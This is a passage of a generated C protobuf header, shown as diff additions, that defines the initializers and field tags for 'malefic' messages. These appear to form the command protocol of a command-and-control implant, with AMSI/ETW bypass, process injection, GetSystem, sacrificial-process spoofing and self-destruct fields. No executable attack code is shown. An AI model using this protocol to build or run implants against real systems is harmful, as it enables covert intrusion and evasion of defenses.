malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero}} +#define malefic_ExecRequest_init_zero {"", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, 0, 0, 0} +#define malefic_ExecResponse_init_zero {0, {0, {0}}, {0, {0}}, 0, 0} +#define malefic_BinaryResponse_init_zero {{0, {0}}, {0, {0}}, 0, ""} +#define malefic_Modules_init_zero {0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_Addons_init_zero {0, {malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero}} +#define malefic_Addon_init_zero {"", "", ""} +#define malefic_LoadModule_init_zero {"", {0, {0}}} +#define malefic_LoadAddon_init_zero {"", "", "", {0, {0}}} +#define malefic_ExecuteAddon_init_zero {"", false, malefic_ExecuteBinary_init_zero} +#define malefic_ExecuteBinary_init_zero {"", {0, {0}}, {{NULL}, NULL}, "", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, "", {0, {0}}, 0, 0, 0, false, malefic_SacrificeProcess_init_zero, "", "", 0} +#define malefic_ExecuteBinary_ParamEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_ExecuteCommand_init_zero {"", false, malefic_SacrificeProcess_init_zero} +#define malefic_UploadRequest_init_zero {"", "", 0, {0, {0}}, 0, 0} +#define malefic_DownloadRequest_init_zero {"", "", 0, 0, 0} +#define malefic_DownloadResponse_init_zero {"", 0, 0, {0, {0}}} +#define malefic_CurlRequest_init_zero {"", 0, "", {0, {0}}, {{NULL}, NULL}, ""} +#define malefic_CurlRequest_HeaderEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_ChownRequest_init_zero {"", "", "", 0} +#define malefic_IfconfigResponse_init_zero {0, {malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero}} +#define malefic_RegistryRequest_init_zero {"", false, malefic_Registry_init_zero} +#define malefic_Registry_init_zero {"", "", ""} +#define malefic_RegistryWriteRequest_init_zero {"", "", "", "", {0, {0}}, 0, 0, 0} +#define malefic_TaskScheduleRequest_init_zero {"", false, malefic_TaskSchedule_init_zero} +#define malefic_TaskSchedule_init_zero {"", "", "", 0, "", "", 0, "", ""} +#define malefic_TaskSchedulesResponse_init_zero {0, {malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero}} +#define malefic_ServiceRequest_init_zero {"", false, malefic_ServiceConfig_init_zero} +#define malefic_ServiceConfig_init_zero {"", "", "", 0, 0, ""} +#define malefic_ServiceStatus_init_zero {0, 0, 0, 0, 0} +#define malefic_Service_init_zero {false, malefic_ServiceConfig_init_zero, false, malefic_ServiceStatus_init_zero} +#define malefic_ServicesResponse_init_zero {0, {malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero}} +#define malefic_WmiQueryRequest_init_zero {"", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_WmiMethodRequest_init_zero {"", "", "", {{NULL}, NULL}} +#define malefic_WmiMethodRequest_ParamsEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_RunAsRequest_init_zero {"", "", "", "", "", 0, 0, 0} +#define malefic_GetSystem_init_zero {{0, {0}}, 0} +#define malefic_Inject_init_zero {{0, {0}}, 0} +#define malefic_Pipe_init_zero {"", "", {0, {0}}} +#define malefic_PipeRequest_init_zero {"", false, malefic_Pipe_init_zero} +#define malefic_Switch_init_zero {0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_TaskCtrl_init_zero {0, ""} +#define malefic_TaskInfo_init_zero {0, 0, 0, 0} +#define malefic_TaskListResponse_init_zero {0, {malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero}} +#define malefic_FFmpegRequest_init_zero {"", "", "", "", ""} +#define malefic_PtyRequest_init_zero {"", "", "", 0, 0, {0, {0}}, "", {{NULL}, NULL}} +#define malefic_PtyRequest_ParamsEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_PtyResponse_init_zero {"", {0, {0}}, "", "", 0, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, {{NULL}, NULL}} +#define malefic_PtyResponse_MetadataEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_CommonBody_init_zero {"", 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, {{0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}}} + +/* Field tags (for use in manual encoding/decoding) */ +#define malefic_Ping_nonce_tag 1 +#define malefic_Secure_enable_tag 1 +#define malefic_Secure_key_tag 2 +#define malefic_Secure_type_tag 3 +#define malefic_Secure_public_key_tag 4 +#define malefic_KeyExchangeRequest_public_key_tag 1 +#define malefic_KeyExchangeRequest_signature_tag 2 +#define malefic_KeyExchangeRequest_timestamp_tag 3 +#define malefic_KeyExchangeRequest_nonce_tag 4 +#define malefic_KeyExchangeResponse_public_key_tag 1 +#define malefic_Init_data_tag 1 +#define malefic_Suicide_type_tag 1 +#define malefic_Suicide_timestamp_tag 2 +#define malefic_Request_name_tag 1 +#define malefic_Request_input_tag 2 +#define malefic_Request_args_tag 3 +#define malefic_Request_params_tag 4 +#define malefic_Request_bin_tag 5 +#define malefic_Request_ParamsEntry_key_tag 1 +#define malefic_Request_ParamsEntry_value_tag 2 +#define malefic_Response_output_tag 1 +#define malefic_Response_error_tag 2 +#define malefic_Response_kv_tag 3 +#define malefic_Response_array_tag 4 +#define malefic_Response_KvEntry_key_tag 1 +#define malefic_Response_KvEntry_value_tag 2 +#define malefic_BypassRequest_ETW_tag 1 +#define malefic_BypassRequest_AMSI_tag 2 +#define malefic_BypassRequest_block_dll_tag 3 +#define malefic_NetInterface_index_tag 1 +#define malefic_NetInterface_name_tag 2 +#define malefic_NetInterface_mac_tag 3 +#define malefic_NetInterface_ip_addresses_tag 4 +#define malefic_SockTabEntry_local_addr_tag 1 +#define malefic_SockTabEntry_remote_addr_tag 2 +#define malefic_SockTabEntry_skState_tag 3 +#define malefic_SockTabEntry_pid_tag 5 +#define malefic_SockTabEntry_protocol_tag 6 +#define malefic_NetstatResponse_socks_tag 1 +#define malefic_Block_block_id_tag 1 +#define malefic_Block_content_tag 2 +#define malefic_Block_end_tag 3 +#define malefic_ACK_id_tag 1 +#define malefic_ACK_success_tag 2 +#define malefic_ACK_end_tag 3 +#define malefic_Os_name_tag 1 +#define malefic_Os_version_tag 2 +#define malefic_Os_release_tag 3 +#define malefic_Os_arch_tag 4 +#define malefic_Os_username_tag 5 +#define malefic_Os_hostname_tag 6 +#define malefic_Os_locale_tag 7 +#define malefic_Os_clr_version_tag 8 +#define malefic_Process_name_tag 1 +#define malefic_Process_pid_tag 2 +#define malefic_Process_ppid_tag 3 +#define malefic_Process_owner_tag 4 +#define malefic_Process_arch_tag 5 +#define malefic_Process_path_tag 6 +#define malefic_Process_args_tag 7 +#define malefic_Process_uid_tag 8 +#define malefic_SysInfo_filepath_tag 1 +#define malefic_SysInfo_workdir_tag 2 +#define malefic_SysInfo_is_privilege_tag 3 +#define malefic_SysInfo_os_tag 11 +#define malefic_SysInfo_process_tag 12 +#define malefic_Timer_expression_tag 1 +#define malefic_Timer_jitter_tag 2 +#define malefic_FileInfo_Name_tag 1 +#define malefic_FileInfo_IsDir_tag 2 +#define malefic_FileInfo_Size_tag 3 +#define malefic_FileInfo_ModTime_tag 4 +#define malefic_FileInfo_Mode_tag 5 +#define malefic_FileInfo_Link_tag 6 +#define malefic_SacrificeProcess_hidden_tag 1 +#define malefic_SacrificeProcess_block_dll_tag 2 +#define malefic_SacrificeProcess_etw_tag 3 +#define malefic_SacrificeProcess_ppid_tag 4 +#define malefic_SacrificeProcess_argue_tag 5 +#define malefic_LsResponse_Path_tag 1 +#define malefic_LsResponse_Exists_tag 2 +#define malefic_LsResponse_Files_tag 3 +#define malefic_DriveInfo_path_tag 1 +#define malefic_DriveInfo_drive_type_tag 2 +#define malefic_DriveInfo_total_size_tag 3 +#define malefic_DriveInfo_free_size_tag 4 +#define malefic_DriveInfo_file_system_tag 5 +#define malefic_EnumDriversResponse_drives_tag 1 +#define malefic_PsResponse_processes_tag 1 +#define malefic_ExecRequest_path_tag 1 +#define malefic_ExecRequest_args_tag 2 +#define malefic_ExecRequest_output_tag 3 +#define malefic_ExecRequest_singleton_tag 4 +#define malefic_ExecRequest_realtime_tag 5 +#define malefic_ExecRequest_ppid_tag 10 +#define malefic_ExecResponse_status_code_tag 1 +#define malefic_ExecResponse_stdout_tag 2 +#define malefic_ExecResponse_stderr_tag 3 +#define malefic_ExecResponse_pid_tag 4 +#define malefic_ExecResponse_end_tag 5 +#define malefic_BinaryResponse_data_tag 1 +#define malefic_BinaryResponse_message_tag 2 +#define malefic_BinaryResponse_status_tag 3 +#define malefic_BinaryResponse_err_tag 4 +#define malefic_Modules_modules_tag 1 +#define malefic_Addon_name_tag 1 +#define malefic_Addon_type_tag 2 +#define malefic_Addon_depend_tag 3 +#define malefic_Register_name_tag 1 +#define malefic_Register_proxy_tag 2 +#define malefic_Register_module_tag 3 +#define malefic_Register_addons_tag 4 +#define malefic_Register_timer_tag 5 +#define malefic_Register_sysinfo_tag 11 +#define malefic_Register_secure_tag 12 +#define malefic_Addons_addons_tag 1 +#define malefic_LoadModule_bundle_tag 1 +#define malefic_LoadModule_bin_tag 2 +#define malefic_LoadAddon_name_tag 1 +#define malefic_LoadAddon_type_tag 2 +#define malefic_LoadAddon_depend_tag 3 +#define malefic_LoadAddon_bin_tag 4 +#define malefic_ExecuteBinary_name_tag 1 +#define malefic_ExecuteBinary_bin_tag 2 +#define malefic_ExecuteBinary_param_tag 3 +#define malefic_ExecuteBinary_type_tag 4 +#define malefic_ExecuteBinary_process_name_tag 5 +#define malefic_ExecuteBinary_args_tag 6 +#define malefic_ExecuteBinary_entry_point_tag 7 +#define malefic_ExecuteBinary_data_tag 8 +#define malefic_ExecuteBinary_output_tag 9 +#define malefic_ExecuteBinary_arch_tag 10 +#define malefic_ExecuteBinary_timeout_tag 11 +#define malefic_ExecuteBinary_sacrifice_tag 12 +#define malefic_ExecuteBinary_path_tag 13 +#define malefic_ExecuteBinary_context_tag 14 +#define malefic_ExecuteBinary_delay_tag 15 +#define malefic_ExecuteAddon_addon_tag 1 +#define malefic_ExecuteAddon_execute_binary_tag 2 +#define malefic_ExecuteBinary_ParamEntry_key_tag 1 +#define malefic_ExecuteBinary_ParamEntry_value_tag 2 +#define malefic_ExecuteCommand_command_tag 1 +#define malefic_ExecuteCommand_sacrifice_tag 2 +#define malefic_UploadRequest_name_tag 1 +#define 